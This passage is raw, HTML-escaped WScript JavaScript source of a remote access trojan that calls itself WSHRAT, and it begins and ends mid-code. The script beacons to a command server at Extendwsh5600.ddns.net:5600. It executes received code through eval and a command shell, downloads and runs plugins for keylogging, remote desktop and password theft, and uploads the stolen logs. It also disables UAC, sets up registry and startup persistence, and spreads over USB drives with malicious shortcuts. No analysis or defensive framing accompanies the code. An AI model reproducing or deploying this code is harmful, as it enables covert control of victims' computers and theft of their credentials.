&quot;\\&quot;&quot;);\r\n}catch(er){}\r\nfunction writeBytes(file, bytes){\r\ntry{\r\nvar binaryStream = WScript.CreateObject(&quot;ADODB.Stream&quot;);\r\nbinaryStream.Type = 1;\r\nbinaryStream.Open();\r\nbinaryStream.Write(bytes);\r\nbinaryStream.SaveToFile(file, 2);\r\n}catch(err){\r\n}\r\n}\r\nfunction decodeBase64(base64){\r\nvar DM = WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;);\r\nvar EL = DM.createElement(&quot;tmp&quot;);\r\nEL.dataType = &quot;bin.base64&quot;;\r\nEL.text = base64;\r\nreturn EL.nodeTypedValue;\r\n}\r\nwshShell1 = null;\r\nvar host = &quot;Extendwsh5600.ddns.net&quot;;\r\nvar port = 5600;\r\nvar installdir = &quot;%temp%&quot;;\r\nvar runAsAdmin = false;\r\nvar lnkfile = true;\r\nvar lnkfolder = true;\r\nif(runAsAdmin == true){\r\nstartupElevate();\r\n}\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\ndisableSecurity();\r\n}\r\nvar shellobj = WScript.createObject(&quot;wscript.shell&quot;);\r\nvar filesystemobj = WScript.createObject(&quot;scripting.filesystemobject&quot;);\r\nvar httpobj = WScript.createObject(&quot;msxml2.xmlhttp&quot;);\r\nvar installname = WScript.scriptName;\r\nvar startup = shellobj.specialFolders(&quot;startup&quot;) + &quot;\\\\&quot;;\r\ninstalldir = shellobj.ExpandEnvironmentStrings(installdir) + &quot;\\\\&quot;;\r\nif(!filesystemobj.folderExists(installdir)){  installdir = shellobj.ExpandEnvironmentStrings(&quot;%temp%&quot;) + &quot;\\\\&quot;;}\r\nvar spliter = &quot;|&quot;;\r\nvar sleep = 5000;\r\nvar response, cmd, param, oneonce;\r\nvar inf = &quot;&quot;;\r\nvar usbspreading = &quot;&quot;;\r\nvar startdate = &quot;&quot;;\r\ninstance();\r\nwhile(true){\r\ntry{\r\ninstall();\r\nresponse = &quot;&quot;;\r\nresponse = post (&quot;is-ready&quot;,&quot;&quot;);\r\ncmd = response.split(spliter);\r\nswitch(cmd&#x5B;0]){\r\ncase &quot;disconnect&quot;:\r\nWScript.quit();\r\nbreak;\r\ncase &quot;reboot&quot;:\r\nshellobj.run(&quot;%comspec% \/c shutdown \/r \/t 0 \/f&quot;, 0, true);\r\nbreak;\r\ncase &quot;shutdown&quot;:\r\nshellobj.run(&quot;%comspec% \/c shutdown \/s \/t 0 \/f&quot;, 0, true);\r\nbreak;\r\ncase &quot;excecute&quot;:\r\nparam = cmd&#x5B;1];\r\neval(param);\r\nbreak;\r\ncase &quot;get-pass&quot;:\r\npassgrabber(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;get-pass-offline&quot;:\r\npassgrabber2(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;update&quot;:\r\nparam = response.substr(response.indexOf(&quot;|&quot;) + 1);\r\noneonce.close();\r\noneonce = filesystemobj.openTextFile(installdir + installname ,2, false);\r\noneonce.write(param);\r\noneonce.close();\r\nshellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\nupdatestatus(&quot;Updated&quot;);\r\nWScript.quit();\r\ncase &quot;uninstall&quot;:\r\nuninstall();\r\nbreak;\r\ncase &quot;up-n-exec&quot;:\r\ndownload(cmd&#x5B;1],cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;bring-log&quot;:\r\nupload(installdir + &quot;wshlogs\\\\&quot; + cmd&#x5B;1], &quot;take-log&quot;);\r\nbreak;\r\ncase &quot;down-n-exec&quot;:\r\nsitedownloader(cmd&#x5B;1],cmd&#x5B;2]);\r\nbreak;\r\ncase  &quot;filemanager&quot;:\r\nservicestarter(cmd&#x5B;1], &quot;fm-plugin.exe&quot;, information());\r\nbreak;\r\ncase  &quot;rdp&quot;:\r\nservicestarter(cmd&#x5B;1], &quot;rd-plugin.exe&quot;, information());\r\nbreak;\r\ncase  &quot;keylogger&quot;:\r\nkeyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 0);\r\nbreak;\r\ncase  &quot;offline-keylogger&quot;:\r\nkeyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 1);\r\nbreak;\r\ncase  &quot;browse-logs&quot;:\r\npost(&quot;is-logs&quot;, enumfaf(installdir + &quot;wshlogs&quot;));\r\nbreak;\r\ncase  &quot;cmd-shell&quot;:\r\nparam = cmd&#x5B;1];\r\npost(&quot;is-cmd-shell&quot;,cmdshell(param));\r\nbreak;\r\ncase  &quot;get-processes&quot;:\r\npost(&quot;is-processes&quot;, enumprocess());\r\nbreak;\r\ncase  &quot;disable-uac&quot;:\r\ndisableSecurity();\r\nupdatestatus(&quot;UAC+Disabled+(Reboot+Required)&quot;);\r\nbreak;\r\ncase  &quot;check-eligible&quot;:\r\nif(filesystemobj.fileExists(cmd&#x5B;1])){\r\nupdatestatus(&quot;Is+Eligible&quot;);\r\n}else{\r\nupdatestatus(&quot;Not+Eligible&quot;);\r\n}\r\nbreak;\r\ncase  &quot;force-eligible&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\nif(filesystemobj.folderExists(cmd&#x5B;1])){\r\nshellobj.run(&quot;%comspec% \/c &quot; + cmd&#x5B;2], 0, true);\r\nupdatestatus(&quot;SUCCESS&quot;);\r\n}else{\r\nupdatestatus(&quot;Component+Missing&quot;);\r\n}\r\n}\r\nelse{\r\nupdatestatus(&quot;Elevation+Required&quot;);\r\n}\r\nbreak;\r\ncase  &quot;elevate&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\ntry{\r\noneonce.close();\r\noneonce = null;\r\nWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}catch(nn){\r\n}\r\nWScript.quit();\r\n}\r\nelse{\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}\r\nbreak;\r\ncase  &quot;if-elevate&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\nupdatestatus(&quot;Client+Not+Elevated&quot;);\r\n}\r\nelse{\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}\r\nbreak;\r\ncase  &quot;kill-process&quot;:\r\nexitprocess(cmd&#x5B;1]);\r\nbreak;\r\ncase  &quot;sleep&quot;:\r\nparam = cmd&#x5B;1];\r\nsleep = eval(param);\r\nbreak;\r\n}\r\n}catch(er){}\r\nWScript.sleep(sleep);\r\n}\r\nfunction install(){\r\nvar lnkobj;\r\nvar filename;\r\nvar foldername;\r\nvar fileicon;\r\nvar foldericon;\r\nupstart();\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\ntry{\r\nfilesystemobj.copyFile(WScript.scriptFullName , drive.path + &quot;\\\\&quot; + installname,true);\r\nif (filesystemobj.fileExists (drive.path + &quot;\\\\&quot; + installname)){\r\nfilesystemobj.getFile(drive.path + &quot;\\\\&quot;  + installname).attributes = 2+4;\r\n}\r\n}catch(eiju){}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar file = fi.item();\r\nif (lnkfile == false){break;}\r\nif (file.name.indexOf(&quot;.&quot;)){\r\nif ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\nfile.attributes = 2+4;\r\nif (file.name.toUpperCase() != installname.toUpperCase()){\r\nfilename = file.name.split(&quot;.&quot;);\r\nlnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + filename&#x5B;0] + &quot;.lnk&quot;);\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = &quot;cmd.exe&quot;;\r\nlnkobj.workingDirectory = &quot;&quot;;\r\nlnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start &quot; + file.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\ntry{fileicon = shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\&quot; + shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\.&quot; + file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]+ &quot;\\\\&quot;) + &quot;\\\\defaulticon\\\\&quot;); }catch(eeee){}\r\nif (fileicon.indexOf(&quot;,&quot;) == 0){\r\nlnkobj.iconLocation = file.path;\r\n}else {\r\nlnkobj.iconLocation = fileicon;\r\n}\r\nlnkobj.save();\r\n}\r\n}\r\n}\r\n}catch(err){}\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar folder = fi.item();\r\nif (lnkfolder == false){break;}\r\nfolder.attributes = 2+4;\r\nfoldername = folder.name;\r\nlnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + foldername + &quot;.lnk&quot;);\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = &quot;cmd.exe&quot;;\r\nlnkobj.workingDirectory = &quot;&quot;;\r\nlnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start explorer &quot; + folder.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\nfoldericon = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\folder\\\\defaulticon\\\\&quot;);\r\nif (foldericon.indexOf(&quot;,&quot;) == 0){\r\nlnkobj.iconLocation = folder.path;\r\n}else {\r\nlnkobj.iconLocation = foldericon;\r\n}\r\nlnkobj.save();\r\n}catch(err){}\r\n}\r\n}\r\n}\r\n}\r\n}\r\n}\r\nfunction startupElevate(){\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\ntry{\r\nWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\n}catch(nn){\r\n}\r\nWScript.quit();\r\n}\r\n}\r\nfunction disableSecurity(){\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\nvar oReg = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\default:StdRegProv&quot;);\r\noReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;EnableLUA&quot;, 0);\r\noReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;ConsentPromptBehaviorAdmin&quot;, 0);\r\noReg = null;\r\n}\r\n}\r\nfunction uninstall(){\r\ntry{\r\nvar filename;\r\nvar foldername;\r\ntry{\r\nshellobj.RegDelete(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\nshellobj.RegDelete(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\n}catch(ei){}\r\ntry{\r\nfilesystemobj.deleteFile(startup + installname ,true);\r\nfilesystemobj.deleteFile(WScript.scriptFullName ,true);\r\n}catch(eej){}\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\nvar file = fi.item();\r\ntry{\r\nif (file.name.indexOf(&quot;.&quot;)){\r\nif ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\nfile.attributes = 0;\r\nif (file.name.toUpperCase() != installname.toUpperCase()){\r\nfilename = file.name.split(&quot;.&quot;);\r\nfilesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + filename&#x5B;0] + &quot;.lnk&quot; );\r\n}else{\r\nfilesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + file.name);\r\n}\r\n}else{\r\nfilesystemobj.deleteFile (file.path);\r\n}\r\n}\r\n}catch(ex){}\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\nvar folder = fi.item();\r\nfolder.attributes = 0;\r\n}\r\n}\r\n}\r\n}\r\n}\r\n}catch(err){}\r\nWScript.quit();\r\n}\r\nfunction post (cmd ,param){\r\ntry{\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + cmd, false);\r\nhttpobj.setRequestHeader(&quot;user-agent:&quot;,information());\r\nhttpobj.send(param);\r\nreturn httpobj.responseText;\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction information(){\r\ntry{\r\nif (inf == &quot;&quot;){\r\ninf = hwid() + spliter;\r\ninf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%computername%&quot;) + spliter ;\r\ninf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%username%&quot;) + spliter;\r\nvar root = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar os = root.ExecQuery (&quot;select * from win32_operatingsystem&quot;);\r\nfor(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){\r\nvar osinfo = fi.item();\r\ninf = inf + osinfo.caption + spliter;\r\nbreak;\r\n}\r\ninf = inf + &quot;plus&quot; + spliter;\r\ninf = inf + security() + spliter;\r\ninf = inf + usbspreading;\r\ninf = &quot;WSHRAT&quot; + spliter + inf + spliter + &quot;JavaScript-v1.3&quot; ;\r\nreturn inf;\r\n}else{\r\nreturn inf;\r\n}\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction upstart (){\r\ntry{\r\ntry{\r\nshellobj.RegWrite(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\nshellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\n}catch(ei){}\r\nfilesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);\r\nfilesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);\r\n}catch(err){}\r\n}\r\nfunction hwid(){\r\ntry{\r\nvar root = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar disks = root.ExecQuery (&quot;select * from win32_logicaldisk&quot;);\r\nfor(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){\r\nvar disk = fi.item();\r\nif (disk.volumeSerialNumber != &quot;&quot;){\r\nreturn disk.volumeSerialNumber;\r\nbreak;\r\n}\r\n}\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction security(){\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_operatingsystem&quot;,null,48);\r\nvar versionstr, osversion;\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\nvar objitem = fi.item();\r\nversionstr = objitem.version.toString().split(&quot;.&quot;);\r\n}\r\nosversion = versionstr&#x5B;0] + &quot;.&quot;;\r\nfor (var x = 1; x &lt; versionstr.length; x++){\r\nosversion = osversion + versionstr&#x5B;0];\r\n}\r\nosversion = eval(osversion);\r\nvar sc;\r\nif (osversion &gt; 6){ sc = &quot;securitycenter2&quot;; }else{ sc = &quot;securitycenter&quot;;}\r\nvar objsecuritycenter = GetObject(&quot;winmgmts:\\\\\\\\localhost\\\\root\\\\&quot; + sc);\r\nvar colantivirus = objsecuritycenter.ExecQuery(&quot;select * from antivirusproduct&quot;, &quot;wql&quot;, 0);\r\nvar secu = &quot;&quot;;\r\nfor(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){\r\nvar objantivirus = fi.item();\r\nsecu = secu  + objantivirus.displayName + &quot; .&quot;;\r\n}\r\nif(secu == &quot;&quot;){secu = &quot;nan-av&quot;;}\r\nreturn secu;\r\n}catch(err){}\r\n}\r\nfunction getDate(){\r\nvar s = &quot;&quot;;\r\nvar d = new Date();\r\ns += d.getDate() + &quot;\/&quot;;\r\ns += (d.getMonth() + 1) + &quot;\/&quot;;\r\ns += d.getYear();\r\nreturn s;\r\n}\r\nfunction instance(){\r\ntry{\r\ntry{\r\nusbspreading = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;);\r\n}catch(eee){}\r\nif(usbspreading == &quot;&quot;){\r\nif (WScript.scriptFullName.substr(1).toLowerCase() == &quot;:\\\\&quot; +  installname.toLowerCase()){\r\nusbspreading = &quot;true - &quot; + getDate();\r\ntry{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n}else{\r\nusbspreading = &quot;false - &quot; + getDate();\r\ntry{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]  + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n}\r\n}\r\nupstart();\r\nvar scriptfullnameshort =  filesystemobj.getFile(WScript.scriptFullName);\r\nvar installfullnameshort =  filesystemobj.getFile(installdir + installname);\r\nif (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){\r\nshellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\nWScript.quit();\r\n}\r\noneonce = filesystemobj.openTextFile(installdir + installname ,8, false);\r\n}catch(err){\r\nWScript.quit();\r\n}\r\n}\r\nfunction passgrabber (fileurl, filename, retcmd){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\ntry{filesystemobj.deleteFile(installdir + filename + &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) + &quot;.cfg&quot;;\r\nvar cfg = &quot;&#x5B;General]\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0&quot;;\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(ez){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nvar runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath;\r\nfor(var i=0; i&lt;5; i++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, &quot; \/stext &quot; + saver + &quot;data&quot;);\r\nWScript.sleep(5000);\r\nif(objfsodownload.fileExists(saver + &quot;data&quot;)){\r\nvar outpath = installdir + &quot;wshlogs\\\\recovered_password_backup.log&quot;;\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n{\r\nshellobj.run(&quot;%comspec% \/c mkdir \\&quot;&quot; + folder + &quot;\\&quot;&quot;, 0, true);\r\n}\r\nobjfsodownload.copyFile(saver + &quot;data&quot;, outpath, true);\r\nbreak;\r\n}\r\n}\r\ndeletefaf(strsaveto);\r\nupload(saver + &quot;data&quot;, retcmd);\r\n}\r\n}\r\nfunction passgrabber2(fileurl, filename, fileurl2){\r\nfor(var h=0; h&lt;2; h++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\ntry{filesystemobj.deleteFile(installdir + filename + &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) + &quot;.cfg&quot;;\r\nvar cfg = &quot;&#x5B;General]\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0&quot;;\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nif(h == 1){strlink = fileurl2;}\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nvar runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath\r\nfor(var i=0; i&lt;5; i++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, &quot; \/stext &quot; + saver + &quot;data&quot;);\r\nWScript.sleep(2000);\r\nif(objfsodownload.fileExists(saver + &quot;data&quot;)){\r\nvar objstreamuploade = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamuploade.Type = 2;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(saver + &quot;data&quot;);\r\nvar buffer = objstreamuploade.ReadText();\r\nobjstreamuploade.close();\r\nvar outpath = installdir + &quot;wshlogs\\\\recovered_password_browser.log&quot;;\r\nif(h == 1){outpath = installdir + &quot;wshlogs\\\\recovered_password_email.log&quot;;}\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n{\r\nshellobj.run(&quot;%comspec% \/c mkdir \\&quot;&quot; + folder + &quot;\\&quot;&quot;, 0, true);\r\n}\r\nwriter = filesystemobj.openTextFile(outpath, 2, true);\r\nwriter.write(buffer);\r\nwriter.close();\r\nwriter = null;\r\nbreak;\r\n}\r\n}\r\ndeletefaf(strsaveto);\r\n}\r\n}\r\n}\r\nfunction keyloggerstarter (fileurl, filename, filearg, is_offline){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(err){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot; &quot; + is_offline);\r\n}\r\n}\r\nfunction servicestarter (fileurl, filename, filearg){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(err){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot;&quot;);\r\n}\r\n}\r\nfunction sitedownloader (fileurl,filename){\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.serverxmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = 